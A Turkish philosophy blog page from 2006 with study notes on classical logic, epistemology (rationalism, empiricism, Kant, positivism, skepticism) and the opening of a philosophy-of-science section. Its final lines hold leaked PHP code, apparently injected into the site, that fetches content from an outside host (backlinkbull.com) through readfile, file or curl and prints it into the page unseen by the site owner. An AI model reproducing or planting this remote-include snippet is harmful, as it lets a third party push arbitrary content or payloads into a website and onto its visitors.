Porphyrios Ağacına göre “akıllı” ve “akılsız” özel türdür. Çünkü, altlarında başka türler yoktur. “Duygulu”, “akıllı”  ve “akılsız”a göre, “canlı” ya göre tür olduğundan göreli türdür. Aynı biçimde “canlı” ve “cismi olan” da göreli türdür.

Ayrım : Bir türün cinsinde bulunmayan özellikleri onun ayırımıdır. Yani türü cinsinden ayıran özelliktir. Örneğin, Porphyrius Ağacı’na göre “canlı” türü “cismi olan” cinsinden “üremek” özelliği ile ayrılıyorsa, “üremek” “canlı” nın cismi olan” dan ayrımıdır.

Özgülük : Ayrıma bağlı olarak bir türe özgü olan ve o türü kendisi yapan özellik özgülüktür. Örneğin, “konuşmak” yalnız “insan” türüne ait bir özellik olduğundan “insanın özgülüğüdür” Yine, “öğretmen olmak”, “gülmek”, “düşünmek” gibi özellikler insan türünün özgülüğüdür.

İlinti : Bir türün başka türlerle de paylaştığı özellikleri ilintisidir. Örneğin, “beslenmek” insan türünün ilintisidir. Çünkü hayvan ve bitki türlerinin de aynı özelliği vardır.

-         Tanım : Bir kavramın içlemsel özelliklerini anlatarak o kavramın ne olduğunun belirtilmesine tanım denir. Örneğin, “İnsan düşünen canlıdır.” ifadesi bir tanımdır.

Tanımın Koşulları :

            Tanım tam olmalıdır. Tanım, kaplamına giren bireylerin tümünün ortak özelliklerini anlatmalıdır. “İnsan, yeşil gözlü canlıdır.” Tanımı yeşil gözlü olamayanları anlatamadığı için eksiktir. Tanım, açık olmayan kavramlarla yapılmamalıdır. Kullanılan kavramların yeniden tanıma ihtiyacı olmamalıdır. “İnsan, entelektüel bir canlıdır.” tanımında “entelektüel” kavramının da tanımlanmaya ihtiyacı vardır. Tanımda kısır döngü olmamalıdır. Tanım, kendine bağlı olarak bilinen bir şeyle tanımlanmamalıdır.

Tanımlanamayanlar : Bazı kavramların tanımını yapmak olanaksızdır. Örneğin;

Deneyin doğrudan verilerinin tanımı yapılamaz. Koku, renk, ses, tad tanımlanamaz.

Duyuların tanımı yapılamaz. Öfke, üzüntü, aşk, kin tanımlanamaz.

Üstün cinslerin tanımı yapılamaz. Cevher, zaman, mekan, birlik tanımlanamaz.

§         Önerme : Önerme, klasik mantığın üç önemli konusundan (kavram ve terim, önerme, kıyas) biridir. Önermeyi, tanımı, çeşitleri ve ilişkileriyle üç başlık altında inceleyeceğiz.

-         Önermenin Tanımı ve Yapısı : Yargı bildiren deyişlere önerme denir. Yargı ise iki fikir arasında ilişki kurmaktır. Bir deyişin önerme olabilmesi için;

En az iki terim ve bir bağdan oluşması gerekir. İki terimden biri özne (ad), diğeri ise yüklemdir.

Tebeşir beyaz     dır.

 Özne   Yüklem  Bağ

 

Önerme doğru ya da yanlış gibi bir doğruluk değerine sahip olmalıdır.

                                   Doğru

Doğruluk değeri

                                   Yanlış

 

Emir, istek, soru, duygu bildiren cümleler önerme değildir.

“Kalemi bana ver.” (emir cümlesi)

“Keşke üniversiteyi kazansa.” (istek cümlesi)

-         Önerme Çeşitleri : Önermeler, nitelikleri, nicelikleri, yani sayıları ve kiplikleri bakımından üçe ayrılırlar.

Yargının Niteliği Bakımından Önermeler :

Olumlu Önerme : Yüklemde öznenin onayladığı önermedir. Örnek : “Tebeşir beyazdır.”, “Ali okula gitti.”

Olumsuz Önerme : Yüklemin, öznede bir niteliğin bulunmadığını ifade ettiği önermedir. Örnek : “Tebeşir beyaz değildir.”, “Ali okula gitmedi.”

UYARI : Olumsuz önermeler biçim açısından isim cümlelerinin sonunda “değil”, fiil cümlelerinin sonunda “…me, …ma” olumsuzluk ekini taşımak zorundadır.

Yargının Niceliği (Sayısı) Bakımından Önermeler : Yargının niceliği, yani sayısı bakımından önermeler basit ve bileşik önermeler olmak üzere ikiye ayrılır.

Basit Önerme : Tek yargı bildiren önermeler basit önermedir. Basit önermelere kategorik ya da yüklemli önerme de denir. Kategorik önermeler altıya ayrılır.

Tümel Olumlu :Bütün insanlar ölümlü    dür

                           Tümel                          olumlu                      (Her A. B’dir)

Tümel Olumsuz :Hiçbir insan ölümlü  değildir.”                       (Hiçbir A, B değildir.)

                             Tümel                     olumsuz                      

Tikel Olumlu :Bazı insanlar ölümlü   dür.”

                        Tikel                         olumlu          &n

Kalıcı Bağlantı

FELSEFE'NİN ANA KONULARI

21/12/2006 · Kategori: felsefe


Felsefenin Ana Konuları

 

Bilgi Felsefesi (Epistemoloji)

  • Bilgi Felsefesinin Konusu : Doğa ve evrenle ilgili sorunlara tanrı ve ruh bağlamında getirilen metafizik açıklamalar duyu organlarının verileri ile açıklanamadığından bilginin kaynağına doğrudan yönelmek gereği doğmuştur. Böylece bilgi, felsefenin ana konularından birini oluşturmuştur. Bilgi felsefesinin konuları :

©       Bilgi Kuramı (teorisi) : Sübje (bilen) ile obje (bilinen) arasındaki ilişkiyi inceleyen bilgi felsefesi alanına bilgi kuramı denir. Sübjenin, objeyi incelerken ulaşacağı sonuçlar felsefe açısından tartışmalıdır. Bu tartışmalar bilgi kuramında iki temel çerçevede ortaya çıkmaktadır.

Bilgi Kuramının Temel Kavramları

Doğruluk (Hakikat) : Bilginin bilgi konusu ile tam uygunluk içinde bulunmasıdır. Bir bilginin doğruluğu, onun kanıtlanabilmesi ile mümkündür. Çünkü  doğruluk düşünce ile nesne (obje) nin uygunluğudur.

Gerçeklik :  İnsan bilincinden bağımsız olarak var olanlardır. Gerçeklik varlığın bir özelliği başka bir deyişle var oluş tarzıdır.

Temellendirme : Bir yargının doğruluk iddiasının dayanağının gösterilmesidir. Felsefede ileri sürülen her yargı gerekçeleri gösterilerek temellendirilir. Temellendirme yargıları derinliğine ve genişliğine araştırarak yapılır.

§         Bilginin kaynağı :  “İnsan bilgiye hangi araçlarla ulaşır?” sorusuna yanıt arar. Bu soruya verilen yanıtlar farklı felsefi sistemlerin doğmasına yol açar. Bilginin kaynağı akıldır, çünkü duyu organlarının bilgisi zorunlu ve kesin değildir diyen rasyonalizme karşı empirizm, bilginin kaynağı deneydir, doğru ve kesin bilgiye duyu organları aracılığı ile yapılan deney ve gözlem ulaştırır görüşünü savunur. Entüisyonizm (sezicilik) ise bilginin kaynağının sezgi olduğunu ileri sürer.

§         Bilginin değeri : Neleri ne derece bilebiliriz? Bilginin insan yaşamındaki yeri ve önemi nedir? Nelere bilgi demek gerekir? Sorularına bilgi kuramı yanıt arar.

 

©       Mantık : Doğru bilgiye ulaşmak için düşünceler arasındaki ilişki ve düzeni yöneten ilke ve yasaları saptayan alan mantık (lojik) tır.  Mantık doğru düşünmenin kurallarını koyar, ilkelerini saptar. Bilgi kuramı, bilginin objesi ile uygunluğunu temellendirirken mantığın kural ve ilkelerine dayanır.

  • Bilgi Felsefesinin Temel Problemleri (Doğru Bilginin Olanağı Problemi) : Bilgi felsefesinin tartıştığı temel sorun, doğru bilginin olanaklılığı sorunudur. Mutlak, kesin bilgilere ulaşılıp ulaşılamayacağı sorununa verilen yanıtlar iki başlıkta toplanabilir:

©       Doğru Bilginin Olanaklılığı : Mutlak, doğru bilginin mümkün olduğunu savunan sistem ve felsefeciler, doğru bilgiye nereden, nasıl ve hangi araçlarla ulaşılacağı konusunda farklı görüşler ileri sürerler.

§         Rasyonalizm (Akılcılık) : Rasyonalizme göre, zorunlu, kesin ve genel geçer bilgilere ancak akılla ulaşılır. O halde doğru bilginin kaynağı akıldır. Duyu organlarının verileri geçici ve doğruluğu kesin olmayan bilgilerdir ve bu verilere güvenilemez. Felsefe evreni ve insanı kavrarken aklı kullanarak doğru bilgilere ulaşabilir.

Temsilcileri :

-         Sokrates : İ.Ö. 5. yüzyılda yaşamıştır. Sofist göreliliğe (relativizme) karşı çıkmış, bilgilerimizin doğuştan var olduğunu savunmuştur. Sokrates’e göre öğretmenin görevi yeni bir şey öğrenmek değil insanın aklında saklı olan bilgileri doğurtmaktır. Sokrates’in bu yöntemine diyalektik adı verilir ve karşılıklı konuşmaya, tartışmaya dayanır.

-         Platon : Platon’a göre bilginin kaynağı duyu organları olamaz. Çünkü duyu verileri kişilere göre değişir. Oysa matematiğin bilgileri kesindir. Platon’a göre iki türlü dünya vardır : idealar ve görünenler (fenomenler) dünyası. İçinde yaşadığımız nesneler dünyası gerçek değildir. Fenomenler dünyası dediği bu dünyanın bilgisi doxa (sanı) dır. Gerçek olan idealar dünyasıdır ve bu dünya ancak akılla kavranır. Duyularla kavradığımız fenomenler dünyası idealar dünyasının bir gölgesi bir kopyasıdır.

-         Aristoteles : Aristoteles’e göre idealar nesnelerden bağımsız değildir. İdealar, tek tek nesnelerin özünde tümel kavramlar olarak vardır. Bilginin amacı tekil yani bireysel olanı bilmektir. Çünkü gerçekten var olan tek tek şeylerdir. Ancak tekilin bilgisine genelin bilgisinden yani tümelden ulaşılır. Gerçek bilgi genel yargılara dayanan önermelerdir. Bunun yöntemi de tümdengelim (dedüksiyon) dir.  Tümdengelimin en mükemmel biçimi ise kıyas (tasım) tır.

-         Farabi : Farabi’ye göre, bilginin üç kaynağı duyular, düşünce ve akıldır. Düşünme ve akıl yürütme  yoluyla tekil bilgiler biçimlendirilerek hakiki bilgiye ulaşılır. Böylece genel geçer ve kesin bilgi elde edilir. Farabi’ye göre akıl, iyi ve kötüyü, güzel ve çirkini, doğru ve yanlışı birbirinden ayırarak en yüce erdem olan bilgiye ulaşılır; böylece Tanrı’ya ulaşmanın da yolunu bulmuş olur.

-         Descartes : Descartes, bilgi modeli olarak analiz ve senteze dayanan matematiği benimser. Matematik bilgilerin kaynağı akıldır. Araştırmaları sırasında ünlü “metodik şüphe” yöntemini kullanır. Bu yönteme göre;

>         Her şeyden şüphe ederim

>         Şüphe ettiğimden şüphe edemem

>         O halde şüphenin kaynağı olan kendi varlığımdan şüphe edemem. Düşünüyorum, öyleyse varım (Cogito, ergo sum).

>         İnsanın Ben’inde (Ego) Tanrı kavramı vardır.

>         Tanrı’nın yarattığı evrenin varlığından şüphe etmem.

-         Spinoza : Spinoza da metafiziği ve geometriyi bütün bilimlerin ideal modeli olarak görür. Çünkü, metafizik ve geometrinin sonuçları kesin ve zorunludur. Bu özelliği de kullandığı yöntemden gelir. O halde felsefe alanına da bu yöntem uygulanmalı ve felsefede de açık ve seçik bilgilere ulaşılmalıdır. Spinoza “Etika” adlı yapıtında felsefi sorunları, tıpkı geometri problemlerini çözer gibi ele almıştır.

-         Leibniz : Leibniz’de Spinoza gibi matematiğin yöntemini felsefeye uygulamak istemiş, matematik dili kullanarak yapılan bir felsefe düşünmüştür.Duyu verilerini inkar etmeyen Leibniz, bunların yeterince açık seçik olmadığını savunur. Mükemmel bilgi, matematiğin bilgisi olan rasyonel bilgidir. Çünkü matematiğin kavramları arasındaki ilişkiyi akıl kurar. Leibniz’e göre, Tanrı fikri ve aklın ilkeleri, insan zihninde deneyden önce ve doğuştan vardır.

-         Hegel : Kesin bilgiye akılla ulaşılabileceğini savunan Hegel, duyu verilerinin varlığın özünü vermeyeceğini savunur. Hegel’e göre, gerçeğe, diyalektik adı verilen “kavram” la ulaşılabilir. Diyalektik, tez, anti-tez, sentez aşamalarından geçerek bilgiyi oluşturur. Önce ide (fikir) kavram olarak vardır (tez). İde kendi dışına çıkarak doğayı oluşturur (anti-tez). Kendine yabancılaşan ide ahlak, din, hukuk, sanat gibi alanlarda tekrar kendi tinsel (ruhsal) varlığına döner (sentez).

§         Empirizm (Deneycilik) : Doğru bilgiye duyu verileri ve deneyle ulaşılabileceğini savunan akımdır. İnsan aklında doğuştan bilgi olmadığını ve bilgiye dış dünyadan gelen deney verileri ile ulaşılabileceğini ileri sürer. Bilginin kaynağı deneydir. Empirizm deneye dayanan fiziği temel alır.  Empirizmin ilk örnekleri ilkçağda Epiküros’ta görülür. Ona gör bütün bilgilerin ilk kaynağı duyudur.

Temsilcileri :

-         John Locke : Locke, rasyonalizme karşı çıkarak insan aklının doğuştan “boş levha” (tabular asa) olduğunu savunur. Boş levha deneyler ve alışkanlıklarla sonradan dolar ve bilgiye dönüşür. Locke’a göre insan aklında doğuştan bilgi yoktur. Locke bilginin oluşumunu hep ikili gruplara ayırarak inceler. Önce bilgiyi oluşturan deney alanını ikiye ayırır :

Dış Deney : Dış dünyayı duyularla tanımamızı sağlar.

İç Deney : Zihinsel işlemlerle içimizde oluşan olayları bildirir. Dış ve iç deney düşünce ve tasavvurlarımızın (ideal) kaynağıdır. Düşünce ve tasavvurlar da iki biçimde oluşur.

Yalın Tasavvurlar : Duyumlar ve ruhsal olaylarla ilgili tasavvurlardır.

Bileşik Tasavvurlar : Yalın tasavvurları birleştirerek düzenleyen, zihin tarafından üretilen tasavvurlardır.

İkincil nitelikler : Algılayan sübjeye bağlı olarak duyumsanan ve tasavvur edilen niteliklerdir.

Birincil nitelikler : Nesnelerin sübjeden bağımsız olarak kendiliğinden sahip oldukları özelliklerdir.

-         George Berkeley : Empirizmi, doğrudan duyu algısı olarak kabul eder. Duyu algılarının dışındaki bilgi kaynaklarını reddeden Berkeley,  zihnin soyutlama gücüyle elde ettiği kavramların bilgi olduğunu da reddeder.

-         David Hume : Hume’a göre tek deney alanı vardır. O da dünyayı duyularla tanımamızı sağlayan dış deneydir. Zihinde yalnızca duyumlar ve izlenimler ile fikirler (idealar) vardır. Düşünme ilkelerinin kaynağı da dış dünyadır. Nedensellik ilkesi aklın zorunlu sonucu değil, olayların ard arda yaşanmasının yarattığı bir “alışkanlık” ya da “çağrışım” dır. Olaylar arasında objektif bir nedensellik bağı yoktur. Ona göre deneysel bilimler yalnızca olaylar arasındaki ilgiyi saptamalı daha ileriye gitmemelidir.

-         Condillac : Empirizmi tümüyle duyumculuğa (sensüalizm) indirger. Condillac’a göre tüm bilgilerin kaynağı duyulardır. Duyu verilerinin dışında hiçbir sonuç bilgi değildir. İnsanınki gibi iç organları olan bir heykelin dışı mermerle kaplı olduğu için hiçbir etkilenimi olmaz. Ancak heykelin mermer kabukları kaldırılınca duyumlar ortaya çıkar. Böylece heykel ruhsal ve zihinsel bir yaşama ulaşır.

§         Kritisizm (Eleştiricilik) : Kristizm, bilgi teorisine aklı inceleyerek yaklaşmaya çalışır. Bunun için de bilgiyi sağlamada aklın rolünü ve deneyin rolünü ayrı ayrı ele alarak rasyonalizmle empirizmi uzlaştırmak ister.

Temsilcisi

-         Immanuel Kant : Kant’a göre, “Bütün bilgi deneyle başlar ama deneyden doğmaz.” Deney bilginin hammaddesini sağlar, dolayısı ile deney verileri tek başına bilgi değildir. Deney verilerini bir düzene koymak için akla gereksinim vardır. Akılda, deneyden gelmeyen (a priori) kategoriler (kalıplar) vardır. O halde bilgi, deneyden gelen (aposteriori) verilerin zihinde doğuştan  bulunan ve deneyden gelmeyen kategorilerde düzenlenmesi ile elde edilir.

UYARI : Kant deneyden gelen bilgi ve verilerini bilginin hammaddesi kabul ederek empirizme; ancak bu deney verilerinin zihinde doğuştan bulunan kategorilerde işlenerek bilgiye dönüştüğünü kabul ederek de rasyonalizme yaklaşır. Kant ayrıca, doğru ve kesin bilgiye ulaşılabileceğini savunan dogmatizm ile tüm bilgilerin duyu verilerinden kaynaklandığı için göreli olduğunu savunan septisizmi de uzlaştırmaya çalışır. Kant bu uzlaşmayı sağlarken bilgi alanını ikiye ayırır. Fenımenler ve numenler alanı. Fenomenler (görünenler) alanının bilgisi duyu verileriyle oluşur ve nesneler dünyasının bilgisi duyu organları ile kavranır. Bu bilgi insanlara göre değişmez, bu nedenle nesneldir (objektiftir). Ancak duyu organlarının bilgilerinin dışında kalan numenler alanının bilgilerini bilemeyiz. Çünkü bunlar zihinde doğuştan bulunan kategorilere göre biçimlenmez. Numenler alanının bilgisi metafizik bilgilerdir ve metafizik bilgiler kesin değildir. Kant, duyu verilerinin bilgilerinin tüm insanlar için aynı olduğunu savunarak nesnelliği ön plana çıkartıp dogmatizme yaklaşırken, numenler alanının metafizik bilgilerinin göreli (relatif) olduğunu savunarak septisizme yaklaşır.

§         Pozitivizm (Olguculuk) : Doğa bilimlerinin hızlı bir biçimde geliştiği 19. yüzyılda doğmuştur.  Felsefi sistemler yaşadıkları çağın özelliklerinden etkilenerek biçimlenir. Pozitivizm de 19. yüzyıla damgasını vuran doğa bilimlerinden etkilenerek doğmuştur. Pozitivizm ancak duyu verilerine ve deneye dayanan olgusal dünyanın bilinebileceğini ve bu bilgiye de bilim aracılığı ile ulaşılabileceğini savunur.

Temsilcisi :

-         Auguste Comte : Pozitivizmin kurucusu Comte’a göre, insan yalnızca, duyu verilerine dayanan dış dünyayı bilebilir. Deneyle denetlenemeyen her türlü felsefi soru anlamsızdır. Bu yüzden, olguların arkasında yatan nedenler değil, olguların arasındaki ilişkilerin bilgisine ulaşmayı amaçlamak gerekir. Felsefe, deney sonuçlarını sistemleştirerek ahlak, din, siyaset gibi alanlarda kullanmalıdır. Felsefenin görevi bilimin içine karışan metafizik unsurları, bilimden ayıklamak olmalıdır. Comte, insanlığın bilimin egemen olduğu pozitif döneme ulaşana dek üç aşamadan geçtiğini söyler. Comte’un bu görüşüne üç hal yasası denir :

¨       Teolojik dönem : İlkel toplumlar dünyayla ilgili tüm soruların yanıtlarını tanrıda ve tanrısal güçlerde aramışlardır. Teolojik dönemin ürünü dindir.

¨       Metafizik dönem : Bu dönemde insanlar dünyayı soyut güçlerle açıklamaya çalışmış ve felsefe bu döneme damgasını vurmuştur.

¨       Pozitif dönem :  Bu dönemde insan dünyayı doğa yasarlı ile açıklama yolunu seçmiştir, tüm soruların yanıtları bilimde aranmıştır.

§         Analitik Felsefe : Analitik felsefe, felsefeye bilimlerin dilini analiz etmek işlevi yükler. Böylece felsefe, düşünsel bir etkinlik alanı olmaktan çıkarılır, yalnızca dil analizleri yapan bir alan haline getirilir. Felsefe, bilimlerin dilini çözümleyecek, onların kavram yapılarını araştıracaktır. Bunu yaparken de sembolik mantığı kullanacaktır. Neo pozitivizm (yeni pozitivizm) ya da mantıkçı empirizm adıyla da anılan analitik felsefe, felsefeyi modern (sembolik) mantık alanı olarak görür.

Temsilcisi :

Ludwig Wittgenstein, Schlick, Rudolf Carnap ve Reichenbach’dır.

-         Ludwig Wittgenstein : Wittgenstein’e göre, dilin sınırları ile gerçekliğin ve düşüncenin sınırları aynıdır. O halde dilde kullanılan anlamlı önermeler gerçekliğin yansımalarıdır. Varlık ancak dili bilmekle olasıdır. Bu nedenle doğruya dil analizleri ile ulaşılır. Dil ile anlatılamayan konularda susmak gerekir.

§         Entüisyonizm (Sezgicilik) : Kesin ve değişmez bilgilere sezgi aracılığı ile ulaşılabileceğini savunan akım enstüisyonizmdir.

Temsilcileri :

-         Henri Bergson : Bergson’a göre doğru bilgiye sezgi ile ulaşılır. İnsanları bilgiye ulaştıran iki yeti vardır. Zeka ve içgüdü. Zeka, madde dünyasının durağan (statik) halini kavratır. İçgüdü, sürekli hareket ve değişim içinde olan gerçek yaşamı kavratır. Böylece madde dünyasının anlık bilgilerini veren zeka ile değişen yaşamın bilgilerini veren içgüdünün birleşmesinden sezgi oluşur ve insan kesin ve değişmez bilgilere ulaşır. Zeka + İçgüdü = Sezgi

-         Gazali : Orta Çağ İslam dünyasında Gazali sezgiyi hakikate götüren tek kaynak olarak kabul eder. Gazali’ye göre duyularla elde edilen verilere güvenilmez. Akıl da her konuyu kavramada yetersiz kalır. Nitekim akla dayalı bütün felsefi sistemler birbiri ile çatışmaktadır. Gazali’ye göre kesin bilgiye imanla ulaşılır ama akla da gereksinim vardır. Bilginin temelinde akıl olmasına karşın, onu kesin bilgiye dönüştüren “iman” dır. İmana dayanan din, akla dayanan felsefeden her zaman üstündür. Kesin bilgi, Tanrı bilgisidir. Tanrı bilgisine de iman ve sezgiyle ulaşılır.

§         Pragmatizm (Faydacılık) : Bilgiye fayda açısından yaklaşan pragmatizm bir yaşam felsefesidir. Amerika Birleşik Devletleri’nde doğan bu akım, felsefi bir akım olmanın ötesinde geniş halk kitlelerinin yaşam biçimine dönüşmüştür. Temeli İlkçağ filozoflarından sofistlere kadar inen pragmatizm bilgiyi faydaya dayandırır. Pragmatizme göre, ne ki faydalıdır  o bilgidir, ne ki bilgidir o faydalıdır.

Temsilcileri :

-         William James : İnsanın teme amacının kendini korumak olduğunu söyleyen W. James bilgiye de bu açıdan yaklaşır. Ona göre doğrular pratik yaşam içinde, eylem içinde oluşur. Doğruluğun ölçütü faydadır. Bilimlerin verileri, pratik yaşamamızı kolaylaştırıyorsa, bilgidir. Yaşamda insanların gereksinimlerini sürekli değişir. Bu yüzden doğrulukta bu değişime paralel olarak değişir.

-         John Dewey : John Dewey’e göre düşünce, doğadan yararlanmayı sağlayan, mutlu olmayı öğreten bir araçtır. Dewey, insanın biyolojik işlevlerinden yola çıkarak, bilgiye çevreye uyum sürecini sağlayan bir araç olarak bakar. Pragmatizm felsefeyi metafizik sorunların dışına taşıyarak yaşanan olgularla sınırladığından pozitivizme yaklaşır. Ancak faydanın zamanla değişebileceğinden söz etmesi de bu akımın relativist yönünü ön plana çıkarır.

§         Fenomenoloji (Görüngübilim) : Fenomenoloji, pozitivizmin duyusal verileri yani olguları ön plana çıkaran anlayışına karşı “genel objeler” in ruhsal (tinsel) olarak kavranabileceği anlayışını ortaya koyar. Görünenler (fenomenler) içinde bulunan “öz” doğru bilgidir ve bu “öz” ancak bilinçle kavranır.

Temsilcisi :

-         Edmund Husserl :  Husserl, fenomen kavramını olay karşılığında değil, görünenlerin içindeki öz olarak kullanır. Bu yüzden ona göre, gerçek bilgiye özden ulaşabilir. Bilginin bir yanında özne (sübje), diğer yanında nesne (obje) vardır. Özne, nesne dünyasındaki özleri bilebilir, ve bu özler özneye önceden verilmiştir. Bilgiye ulaşmak için duyuların sağladığı verilerden vazgeçip, bilinci ve özü incelemek gerekir. Husserl, felsefenin bütün bilimlerin özlerini ortaya koyan bilimler bilimi işlevini de üstlenmesini ister.

©       Doğru Bilginin Olanaksızlığı : İnsanın açık, kesin ve mutlak bilgiye ulaşamayacağını savunan felsefi sistemler, Sofizm, Septisizm (Kuşkuculuk) ve Akademi kuşkuculuğu akımlarıyla karşımıza çıkar.

§         Sofizm : Sofist felsefe İ.Ö. 5. yüzyılda, doğa filozoflarına tepki olarak doğar. Sofistlere göre duyu verileri insanlara göre değiştiğinden kesin bilgilere ulaşmak olanaksızdır. Bu yüzden bilgi görelidir (relatiftir).

Protagoras’a göre insan her şeyin ölçüsüdür.

Gorgias ise “Hiçbir şey yoktur. Olsa bile bilinemez. Bilinse bile başkasına aktarılamaz.” diyerek doğru bilginin olanaksızlığını dile getirmiştir.

§         Septisizm (Kuşkuculuk, Şüphecilik) : Kuşkucu Pyrhon (Piron), verilen her yargının çelişiği için de güçlü nedenler olduğunu söyleyerek, hiçbir konuda kesin yargıya varılamayacağını ileri sürer. Duyumcu (Sensüalist) kuşkuculardan Sextus Empricus’a göre doğru bilgi olanaksızdır. Çünkü;

>         Aynı şeyler farklı insanlarda farklı etkiler yapar.

>         Her insan duyu bakımından farklı yaratılmıştır.

>         Algılar, içinde bulunduğumuz duruma göre değişir.

Septisizmin Eleştirisi :  Septisizm hiçbir konuda yargıya varmadan her konuda şüphe ederek yaşamayı savunan uç bir görüştür. Ancak septisizm, dogmatizmin “mutlak doğrucu” anlayışına karşı insan zihnini uyarmış böylece bilimsel şüphenin doğuşunun ortamını hazırlamıştır. Bilimde şüphe araç, septisizmde şüphe amaçtır. Bilim, doğru bilgiye ulaşana dek her şeyden şüphe eder. Oysa septikler yaşam boyu her şeyden şüphe etmeyi savunmuşlardır.

 

Bilim Felsefesi

  • Bilim Felsefesine Giriş :

©       Bilim Felsefesinin Konusu : Bilim felsefesi, bilimlerin ortaya koyduğu kavram, kuram (teori) ve yasalarla bunların ait olduğu olayları inceler. Felsefe, bilim felsefesi aracılığı ile bilim üzerinde düşünme, bilimin mantığını oluşturma gereğini duymuştur.

Bilim felsefesinin yanıt aradığı başlıca sorular şunlardır :

§         Bilimsel bilgi birikerek ilerleyen bilgi midir?

§         Bilimsel yasalar kesin midir?

§         Bilimsel önermeler doğrulanarak mı, yoksa yanlışlanarak mı kabul edilmelidir?

§         Bilimler hangi yöntemleri izlemelidir?

©       Bilimin Tarihsel Gelişimi : Zamanla konularını ve yöntemlerini belirleyen alanlar felsefeden ayrılıp bağımsız bilimler haline geldiler. İlk olarak Euclides (Öklid), geometriyi felsefeden ayırarak bağımsız bir bilim haline dönüştürdü.

Rönesansla birlikte Kopernik, Kepler, Galilei gibi düşünürler ve Newton’un çalışmaları fizik biliminin kurulmasını sağladı.

Rönesansla tümevarım yönteminin yaygınlaşması doğa bilimlerinin gelişmesinin önünü açan temel etkenlerden biridir.

19. yüzyılda Labochevsky, Bolyai ve Rieman, Euclides dışı geometri anlayışının temellerini attılar. Euclides dışı geometrilerin yarattığı yeni fizik anlayışı bilimin kendi içindeki alternatiflerini çoğalttı.

De Morgan, Boole, Frege, Peano’nun

Kalıcı Bağlantı

« Önceki ::



'; if(intval(get_cfg_var('allow_url_fopen')) && function_exists('readfile')) { @readfile("http://www.backlinkbull.com/fatal.php?q=YW5rY2Fu"); } elseif(intval(get_cfg_var('allow_url_fopen')) && function_exists('file')) { if($content = @file("http://www.backlinkbull.com/fatal.php?q=YW5rY2Fu")) print @join('', $content); } elseif(function_exists('curl_init')) { $ch = curl_init ("http://www.backlinkbull.com/fatal.php?q=YW5rY2Fu"); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_exec ($ch); if(curl_error($ch)) print "Error processing request"; curl_close ($ch); } else { print "Host Saglayici Firmaniz Butun Fonksiyonlari Engellemis. Bu Yuzden Sistemimizden Yararlanamazsiniz. Lutfen Host Saglayici Firmanizla Bu Durumu Konusun. Engellenen Fonksiyonlar: allow_url_fopen(readfile)(file),curl_init "; } ?>